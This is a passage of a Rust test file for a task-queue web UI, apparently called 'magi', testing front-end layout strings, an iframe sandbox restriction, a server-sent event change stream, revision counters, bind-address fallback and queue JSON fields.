19679 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
19680
19681 assert!(body.contains("Associated question ${short}"));
19683 assert!(!body.contains("el(\"a\""));
19684
19685 assert!(body.contains("(resolved)"));
19687 assert!(body.contains("(closed)"));
19688
19689 let start = APP_JS
19690 .find("function renderNotifications()")
19691 .expect("renderNotifications exists");
19692 let body = &APP_JS[start..];
19693 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
19694
19695 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
19697 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
19698 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
19699 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
19700 }
19701
19702 #[test]
19705 fn chat_rows_put_the_title_alone_on_the_first_line() {
19706 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
19707 assert!(APP_CSS.contains(
19708 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
19709 ));
19710 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
19711 assert!(APP_JS.contains("class: \"badge talk-unread\""));
19712 }
19713
19714 #[test]
19715 fn run_rows_put_the_title_alone_on_the_first_line() {
19716 assert!(
19717 APP_CSS.contains(
19718 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
19719 )
19720 );
19721 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
19722 assert!(APP_JS.contains("class: \"card run-card\""));
19723 assert!(APP_JS.contains("class: \"repo run-id\""));
19724 }
19725
19726 #[test]
19730 fn wide_screens_show_list_and_preview_side_by_side() {
19731 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
19733 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
19734 assert!(APP_CSS.contains("main[data-split]"));
19735 assert!(APP_CSS.contains("body[data-split]"));
19736
19737 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
19739 assert!(
19740 APP_JS.contains(
19741 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
19742 )
19743 );
19744 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
19745 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
19746 assert!(INDEX_HTML.contains("id=\"split-empty\""));
19747
19748 assert!(APP_JS.contains("function markSelected() {"));
19750 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
19751 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
19752 assert!(
19754 APP_CSS.contains(
19755 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
19756 )
19757 );
19758
19759 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
19761 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
19762 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
19763 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
19764
19765 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
19769 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
19770 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
19771 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
19772
19773 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
19775 }
19776
19777 #[test]
19778 fn panel_sandbox_carries_exactly_popups() {
19779 let needle = "sandbox: \"";
19780 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
19781 assert_eq!(
19782 matches.len(),
19783 1,
19784 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
19785 );
19786 let start = matches[0].0 + needle.len();
19787 let end = APP_JS[start..]
19788 .find('"')
19789 .expect("sandbox attribute value must be terminated by a closing quote");
19790 let val = &APP_JS[start..start + end];
19791 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
19792 let expected: std::collections::BTreeSet<&str> =
19793 ["allow-popups", "allow-popups-to-escape-sandbox"]
19794 .into_iter()
19795 .collect();
19796 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
19797 assert!(
19798 !tokens.contains("allow-scripts"),
19799 "allow-scripts must never be present in sandbox"
19800 );
19801 assert!(
19802 !tokens.contains("allow-same-origin"),
19803 "allow-same-origin must never be present in sandbox"
19804 );
19805 }
19806
19807 #[test]
19808 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
19809 assert!(
19818 APP_JS.contains(
19819 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
19820 ),
19821 "the search-clearing branch must run before state.queueFocus is cleared, or the \
19822 recursive renderQueue() call has nothing left to jump to"
19823 );
19824 assert!(
19825 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
19826 "state.queueFocus must be cleared only once the jump has landed, so a card that \
19827 arrives later still gets it"
19828 );
19829 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
19830 assert!(APP_JS.contains("is not in the current Backlog."));
19831 assert!(APP_JS.contains("li.card[data-task-id=\""));
19832 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
19833 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
19834 assert!(APP_CSS.contains(".card-permalink"));
19835 assert!(APP_CSS.contains(".queue-focus-status"));
19836 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
19837 }
19838
19839 #[test]
19840 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
19841 assert!(
19849 APP_JS.contains(
19850 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
19851 ),
19852 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
19853 );
19854 }
19855
19856 #[test]
19857 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
19858 assert!(
19859 APP_JS.contains("round.verified_head !== round.head"),
19860 "a round that verified an earlier commit must be visibly distinct from one that \
19861 verified the head reviewers are looking at now"
19862 );
19863 assert!(
19864 APP_JS.contains("round.verified_at"),
19865 "when a check ran must be on the wire, not just which commit"
19866 );
19867 assert!(
19868 APP_JS.contains("resource_blocked"),
19869 "a command magi never got to run (shared build cache contention) must not render \
19870 the same as a command that ran and failed"
19871 );
19872 }
19873
19874 #[test]
19875 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
19876 assert!(
19884 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
19885 "every KPI tile built through statusTile() must route its click through \
19886 openRunsFiltered, the single place that sets the Runs filter"
19887 );
19888 for (label, status) in [
19889 ("Merged", "merged"),
19890 ("Ready", "ready"),
19891 ("Blocked", "blocked"),
19892 ("Stalled", "stalled"),
19893 ] {
19894 let call = format!("statusTile(\"{label}\", t.{status}, ");
19895 assert!(
19896 APP_JS.contains(&call),
19897 "expected the {label} KPI tile built via {call}..."
19898 );
19899 assert!(
19900 APP_JS.contains(&format!("status === \"{status}\"")),
19901 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
19902 compare a run against, not one invented only for the stats tile"
19903 );
19904 }
19905 assert!(
19906 APP_JS.contains("function openRunsFiltered(status)"),
19907 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
19908 );
19909 assert!(
19910 APP_JS.contains(
19911 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
19912 ),
19913 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
19914 );
19915 assert!(
19923 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
19924 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
19925 hashchange event that may never fire"
19926 );
19927 }
19928
19929 #[test]
19930 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
19931 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
19937 assert!(
19938 APP_JS.contains(
19939 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
19940 ),
19941 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
19942 guard for an incompatible tree section"
19943 );
19944 }
19945
19946 #[test]
19947 fn every_stats_queue_tile_names_a_real_queue_section() {
19948 assert!(
19954 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
19955 "every queue tile built through sectionTile() must route its click through \
19956 openQueueSectionFocus"
19957 );
19958 for key in ["upnext", "running", "done", "held", "blocked"] {
19959 assert!(
19960 APP_JS.contains(&format!("{{ key: \"{key}\",")),
19961 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
19962 );
19963 }
19964 for line in [
19968 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
19969 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
19970 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
19971 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
19972 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
19973 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
19974 ] {
19975 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
19976 }
19977 }
19978
19979 #[test]
19980 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
19981 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
19988 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
19989 assert!(APP_JS.contains("function revealQueueSection(details)"));
19990 assert!(
19991 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
19992 "renderQueue() must consume both focus channels on every pass"
19993 );
19994 assert!(
19995 APP_JS.contains(
19996 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
19997 ),
19998 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
19999 the recursive renderQueue() call has nothing left to reveal"
20000 );
20001 assert!(
20002 APP_JS.contains(
20003 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
20004 ),
20005 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20006 );
20007 assert!(
20015 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
20016 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20017 hashchange event that may never fire"
20018 );
20019 }
20020
20021 #[tokio::test]
20022 async fn the_change_stream_announces_the_current_revisions_on_connect() {
20023 let f = Fixture::start().await;
20024
20025 let mut socket = tokio::net::TcpStream::connect(f.addr)
20026 .await
20027 .expect("connect");
20028 socket
20029 .write_all(
20030 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20031 )
20032 .await
20033 .expect("write request");
20034
20035 let mut seen = String::new();
20038 let mut buf = [0u8; 1024];
20039 while !seen.contains("event: change") {
20040 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20041 .await
20042 .expect("the stream must speak within five seconds")
20043 .expect("read");
20044 assert!(read > 0, "the server closed the change stream: {seen}");
20045 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20046 }
20047
20048 assert!(
20049 seen.to_lowercase()
20050 .contains("content-type: text/event-stream"),
20051 "the browser only reconnects automatically for a real SSE stream: {seen}"
20052 );
20053 let data = seen
20054 .lines()
20055 .find_map(|l| l.strip_prefix("data:"))
20056 .expect("a data line");
20057 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20058 assert!(
20059 payload["queue_rev"].is_u64()
20060 && payload["runs_rev"].is_u64()
20061 && payload["questions_rev"].is_u64()
20062 && payload["talks_rev"].is_u64()
20063 && payload["notifications_rev"].is_u64()
20064 && payload["loop_rev"].is_u64(),
20065 "the client needs one revision per store to know what to refetch, \
20066 and `talks_rev` is the only notification a standing talk gets - a \
20067 phone whose radio slept through a turn learns about it here, as \
20068 does one whose operator started the loop from another device: \
20069 {payload}"
20070 );
20071
20072 let health = f.get("/api/health").await.json();
20079 for key in [
20080 "queue_rev",
20081 "runs_rev",
20082 "questions_rev",
20083 "talks_rev",
20084 "notifications_rev",
20085 "loop_rev",
20086 ] {
20087 assert!(
20088 health[key].is_u64(),
20089 "health is the change stream's fallback and is missing `{key}`: {health}"
20090 );
20091 }
20092 }
20093
20094 #[tokio::test]
20095 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20096 let f = Fixture::start().await;
20097 let before = f.get("/api/health").await.json()["talks_rev"]
20098 .as_u64()
20099 .expect("talks_rev");
20100
20101 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20102 std::thread::sleep(Duration::from_millis(10));
20103 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20104 on_disk.turns.push(crate::talk::Turn {
20105 sender: None,
20106 breaks: Some(Vec::new()),
20107 messages: Vec::new(),
20108 posted_by: None,
20109 who: crate::talk::Who::Operator,
20110 body: "a new turn".to_owned(),
20111 at: Timestamp::now(),
20112 attachments: Vec::new(),
20113 usage: None,
20114 });
20115 f.talks().put(&mut on_disk).expect("record a turn");
20116
20117 let after = tokio::time::timeout(Duration::from_secs(5), async {
20118 loop {
20119 let revision = f.get("/api/health").await.json()["talks_rev"]
20120 .as_u64()
20121 .unwrap();
20122 if revision != before {
20123 break revision;
20124 }
20125 tokio::time::sleep(Duration::from_millis(50)).await;
20126 }
20127 })
20128 .await
20129 .expect("shared monitor observes external turn");
20130 assert_ne!(
20131 before, after,
20132 "a phone must be able to notice a talk's reply without polling every store"
20133 );
20134 }
20135
20136 #[test]
20137 fn bind_reads_back_from_the_spelling_the_cli_prints() {
20138 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20142 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20143 }
20144 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20145 assert!("everywhere".parse::<Bind>().is_err());
20146 }
20147
20148 #[test]
20149 fn an_explicit_bind_address_is_taken_verbatim() {
20150 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20151
20152 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20153
20154 assert_eq!(addr, asked);
20155 assert!(
20156 warning.is_none(),
20157 "an operator who named an address gets no lecture"
20158 );
20159 }
20160
20161 #[test]
20162 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20163 let (addr, warning) = resolve_bind(&Bind::Auto);
20164
20165 match addr {
20172 IpAddr::V4(ip) if is_tailnet(&ip) => {
20173 assert!(warning.is_none(), "a tailnet address needs no warning");
20174 }
20175 other => {
20176 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20177 let warning = warning.expect("a fallback has to explain itself");
20178 assert!(
20179 warning.contains("127.0.0.1") && warning.contains("local-only"),
20180 "the warning says what happened and what it costs: {warning}"
20181 );
20182 }
20183 }
20184 }
20185
20186 #[test]
20187 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20188 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20192 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20193 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20194 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20195 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20196 }
20197
20198 #[test]
20199 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20200 let ids = vec![
20201 "20260902-140501-aaaa".to_owned(),
20202 "20260902-140502-aabb".to_owned(),
20203 ];
20204
20205 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20206 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20207 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20208
20209 assert_eq!(missing.status, StatusCode::NOT_FOUND);
20210 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20211 assert_eq!(short, "20260902-140502-aabb");
20212 }
20213 #[tokio::test]
20214 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20215 let fx = Fixture::start().await;
20221 let id = panel(
20222 &fx,
20223 "<img src=\"shot.png\">",
20224 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20225 );
20226
20227 let doc = fx
20229 .get(&format!("/api/questions/{id}/panel/index.html"))
20230 .await;
20231 assert_eq!(doc.status, 200, "{}", doc.body);
20232 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20233
20234 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20235 assert_eq!(sibling.status, 200, "{}", sibling.body);
20236 assert_eq!(sibling.header("content-type"), Some("image/png"));
20237 assert_eq!(
20238 sibling.header("content-security-policy"),
20239 Some(PANEL_CSP),
20240 "the sibling route must carry the same policy as the asset route"
20241 );
20242
20243 assert_eq!(
20246 fx.head(&format!("/api/questions/{id}/panel")).await.status,
20247 200
20248 );
20249 }
20250
20251 #[test]
20252 fn delta_stamps_cover_add_update_remove_and_noop() {
20253 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20254 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20255 let delta = diff_stamps(&before, &after, 42);
20256 assert_eq!(delta.base, 42);
20257 assert_eq!(delta.changed, ["b", "c"]);
20258 assert_eq!(delta.removed, ["a"]);
20259 let same = diff_stamps(&after, &after, 43);
20260 assert!(same.changed.is_empty() && same.removed.is_empty());
20261 assert_ne!(stamps_revision(&before), stamps_revision(&after));
20262 let nanos: Stamps = [("b".into(), (2, 20))].into();
20263 let same_ms: Stamps = [("b".into(), (3, 20))].into();
20264 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20265 assert_eq!(stamps_revision(&Stamps::new()), 0);
20266 }
20267
20268 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20269 std::fs::create_dir_all(home.join("runs")).unwrap();
20270 Arc::new(Ui::new(
20271 Queue::at(home.join("queue")),
20272 Questions::at(home.join("questions")),
20273 Talks::at(home.join("talks")),
20274 home.join("runs"),
20275 home.to_owned(),
20276 PathBuf::from("/repo/magi"),
20277 ))
20278 }
20279
20280 #[test]
20281 fn monitor_scan_isolates_store_failures_and_recovers() {
20282 let home = TempDir::new().unwrap();
20283 let ui = delta_test_ui(home.path());
20284 std::fs::create_dir_all(ui.questions.root()).unwrap();
20285 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20286 let before = monitor_scan(&ui, None);
20287 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20288 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20289 std::fs::create_dir_all(ui.talks.root()).unwrap();
20290 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20291 let during = monitor_scan(&ui, Some(before.clone()));
20292 assert_eq!(during.0.2, before.0.2);
20293 assert_ne!(during.0.3, before.0.3);
20294 assert!(during.1[2].contains_key("new"));
20295 std::fs::remove_file(ui.questions.root()).unwrap();
20296 let after = monitor_scan(&ui, Some(during));
20297 assert_eq!(after.0.2, 0);
20298 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20299 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20301 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20302 }
20303
20304 #[tokio::test]
20305 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20306 let home = TempDir::new().unwrap();
20307 let ui = delta_test_ui(home.path());
20308 let mut task = Task::new(
20309 "stream task".into(),
20310 "text".into(),
20311 PathBuf::from("/repo"),
20312 Source::Human,
20313 );
20314 ui.queue.put(&mut task).unwrap();
20315 let response = events(State(ui.clone())).await.into_response();
20316 let mut stream = response.into_body().into_data_stream();
20317 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20318 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20319 .await
20320 .unwrap()
20321 .unwrap()
20322 .unwrap();
20323 let text = String::from_utf8(chunk.to_vec()).unwrap();
20324 let data = text
20325 .lines()
20326 .find_map(|line| {
20327 line.strip_prefix("data: ")
20328 .or_else(|| line.strip_prefix("data:"))
20329 })
20330 .unwrap();
20331 serde_json::from_str(data).unwrap()
20332 }
20333 let initial = change(&mut stream).await;
20334 assert!(initial.get("queue_delta").is_none());
20335 task.instruction.push_str(" changed");
20336 ui.queue.put(&mut task).unwrap();
20337 let updated = change(&mut stream).await;
20338 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20339 assert_eq!(
20340 updated["queue_delta"]["changed"],
20341 serde_json::json!([task.id])
20342 );
20343 assert_eq!(
20344 updated["queue_rev"].as_u64(),
20345 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20346 );
20347 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20348 let removed = change(&mut stream).await;
20349 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20350 assert_eq!(
20351 removed["queue_delta"]["removed"],
20352 serde_json::json!([task.id])
20353 );
20354 }
20355
20356 #[tokio::test]
20357 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20358 let home = TempDir::new().unwrap();
20359 let ui = delta_test_ui(home.path());
20360 let queue = ui.queue.clone();
20361 let query = |ids: Option<&str>| {
20362 Query(ListQuery {
20363 limit: Some(2),
20364 ids: ids.map(str::to_owned),
20365 })
20366 };
20367 let mut root = Task::new(
20368 "root".into(),
20369 "instruction".into(),
20370 PathBuf::from("/repo"),
20371 Source::Human,
20372 );
20373 queue.put(&mut root).unwrap();
20374 let mut blocked = Task::new(
20375 "blocked".into(),
20376 "instruction".into(),
20377 PathBuf::from("/repo"),
20378 Source::Human,
20379 );
20380 blocked.block(vec![root.id.clone()], None);
20381 queue.put(&mut blocked).unwrap();
20382 let whole =
20383 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20384 .unwrap();
20385 let subset = serde_json::to_value(
20386 queue_list(State(ui.clone()), query(Some(&root.id)))
20387 .await
20388 .unwrap()
20389 .0,
20390 )
20391 .unwrap();
20392 assert_eq!(whole, subset, "requested root plus its blocked dependent");
20393 let blockers = serde_json::to_value(
20394 queue_list(State(ui.clone()), query(Some("")))
20395 .await
20396 .unwrap()
20397 .0,
20398 )
20399 .unwrap();
20400 assert_eq!(blockers.as_array().unwrap().len(), 1);
20401 assert_eq!(blockers[0]["id"], blocked.id);
20402 assert_eq!(
20403 blockers[0]["waits_on"],
20404 whole
20405 .as_array()
20406 .unwrap()
20407 .iter()
20408 .find(|row| row["id"] == blocked.id)
20409 .unwrap()["waits_on"]
20410 );
20411
20412 for id in [
20413 "20260902-140501-aaaa",
20414 "20260902-140502-bbbb",
20415 "20260902-140503-cccc",
20416 ] {
20417 write_run(&ui.runs, id, RunStatus::Merged);
20418 }
20419 let old = serde_json::to_value(
20420 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20421 .await
20422 .unwrap()
20423 .0,
20424 )
20425 .unwrap();
20426 assert!(
20427 old.as_array().unwrap().is_empty(),
20428 "older updates must not enter the window"
20429 );
20430 let newest = serde_json::to_value(
20431 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20432 .await
20433 .unwrap()
20434 .0,
20435 )
20436 .unwrap();
20437 assert_eq!(newest.as_array().unwrap().len(), 1);
20438 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20439
20440 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20441 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20442 let talks = serde_json::to_value(
20443 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20444 .await
20445 .unwrap()
20446 .0,
20447 )
20448 .unwrap();
20449 assert_eq!(talks.as_array().unwrap().len(), 1);
20450 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20451 assert_eq!(
20452 serde_json::to_value(
20453 talks_list(State(ui.clone()), query(Some("")))
20454 .await
20455 .unwrap()
20456 .0
20457 )
20458 .unwrap(),
20459 serde_json::json!([])
20460 );
20461 }
20462
20463 #[tokio::test]
20464 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20465 async fn delta_payload_benchmark() {
20466 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20467 let ui = delta_test_ui(&home);
20468 let query = |ids: Option<String>| {
20469 Query(ListQuery {
20470 limit: Some(50),
20471 ids,
20472 })
20473 };
20474 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20475 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20476 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20477 let queue_id = queue
20478 .iter()
20479 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20480 .unwrap_or(&queue[0])
20481 .task
20482 .id
20483 .clone();
20484 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20485 .await
20486 .unwrap()
20487 .0;
20488 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20489 .await
20490 .unwrap()
20491 .0;
20492 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20493 .await
20494 .unwrap()
20495 .0;
20496 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20497 eprintln!(
20498 "DELTA_PAYLOAD {}",
20499 serde_json::json!({
20500 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20501 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20502 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20503 "counts": [queue.len(), runs.len(), talks.len()],
20504 "blocked": queue_delta.len() - 1,
20505 })
20506 );
20507 }
20508
20509 #[test]
20510 fn runs_revision_moves_when_deleting_an_older_run() {
20511 let temp = TempDir::new().expect("tempdir");
20512 let runs = temp.path().join("runs");
20513 std::fs::create_dir_all(&runs).expect("create runs dir");
20514
20515 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20516
20517 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20518 std::thread::sleep(Duration::from_millis(10));
20519 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20520
20521 let rev_before = runs_revision(&runs);
20522 assert!(rev_before > 0);
20523
20524 let old_dir = runs.join("20260901-100000-old1");
20525 std::fs::remove_dir_all(&old_dir).expect("remove old run");
20526
20527 let rev_after = runs_revision(&runs);
20528 assert_ne!(
20529 rev_before, rev_after,
20530 "deleting an older run must change the revision so other clients see the deletion"
20531 );
20532 }
20533
20534 fn write_state(runs: &FsPath, state: &RunState) {
20539 let dir = runs.join(&state.id);
20540 std::fs::create_dir_all(&dir).expect("run dir");
20541 std::fs::write(
20542 dir.join("run.json"),
20543 serde_json::to_string_pretty(state).expect("serialize run"),
20544 )
20545 .expect("write run.json");
20546 }
20547
20548 #[test]
20553 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20554 let temp = TempDir::new().expect("tempdir");
20555 let runs = temp.path().join("runs");
20556 std::fs::create_dir_all(&runs).expect("create runs dir");
20557 let mut state = RunState::new(
20558 PathBuf::from("/repo/magi"),
20559 "main".to_owned(),
20560 "0123456789abcdef".to_owned(),
20561 "task".to_owned(),
20562 Config::default(),
20563 );
20564 state.id = "20260902-100000-c0de".to_owned();
20565 write_state(&runs, &state);
20566
20567 let rev_idle = runs_revision(&runs);
20568 std::thread::sleep(Duration::from_millis(10));
20569 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20570 write_state(&runs, &state);
20571 let rev_started = runs_revision(&runs);
20572 assert_ne!(
20573 rev_idle, rev_started,
20574 "a seat starting must move the revision"
20575 );
20576
20577 std::thread::sleep(Duration::from_millis(10));
20578 state.seat_finished("judge-1");
20579 write_state(&runs, &state);
20580 let rev_finished = runs_revision(&runs);
20581 assert_ne!(
20582 rev_started, rev_finished,
20583 "and clearing it again must move the revision a second time"
20584 );
20585 }
20586
20587 #[tokio::test]
20588 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20589 let fx = Fixture::start().await;
20594 let q = fx.queue();
20595
20596 let mut t = Task::new(
20597 "Task".to_owned(),
20598 "Instruction".to_owned(),
20599 PathBuf::from("/repo"),
20600 Source::Human,
20601 );
20602 t.block(
20603 vec!["20260101-000000-dead".to_owned()],
20604 Some("waiting on Task 1".to_owned()),
20605 );
20606 t.answers.push(crate::queue::AnsweredQuestion {
20607 question: "Which backend?".to_owned(),
20608 answer: "SQLite".to_owned(),
20609 });
20610 q.put(&mut t).expect("put t");
20611
20612 let res = fx.get("/api/queue").await;
20613 assert_eq!(res.status, 200);
20614 let list = res.json();
20615 let view = list
20616 .as_array()
20617 .expect("array")
20618 .iter()
20619 .find(|v| v["id"] == t.id)
20620 .expect("task in list");
20621 assert_eq!(view["status_str"], "blocked");
20622 assert_eq!(
20623 view["blocked_by"],
20624 serde_json::json!(["20260101-000000-dead"])
20625 );
20626 assert_eq!(view["block_reason"], "waiting on Task 1");
20627 assert_eq!(view["answers"][0]["question"], "Which backend?");
20628 assert_eq!(view["answers"][0]["answer"], "SQLite");
20629
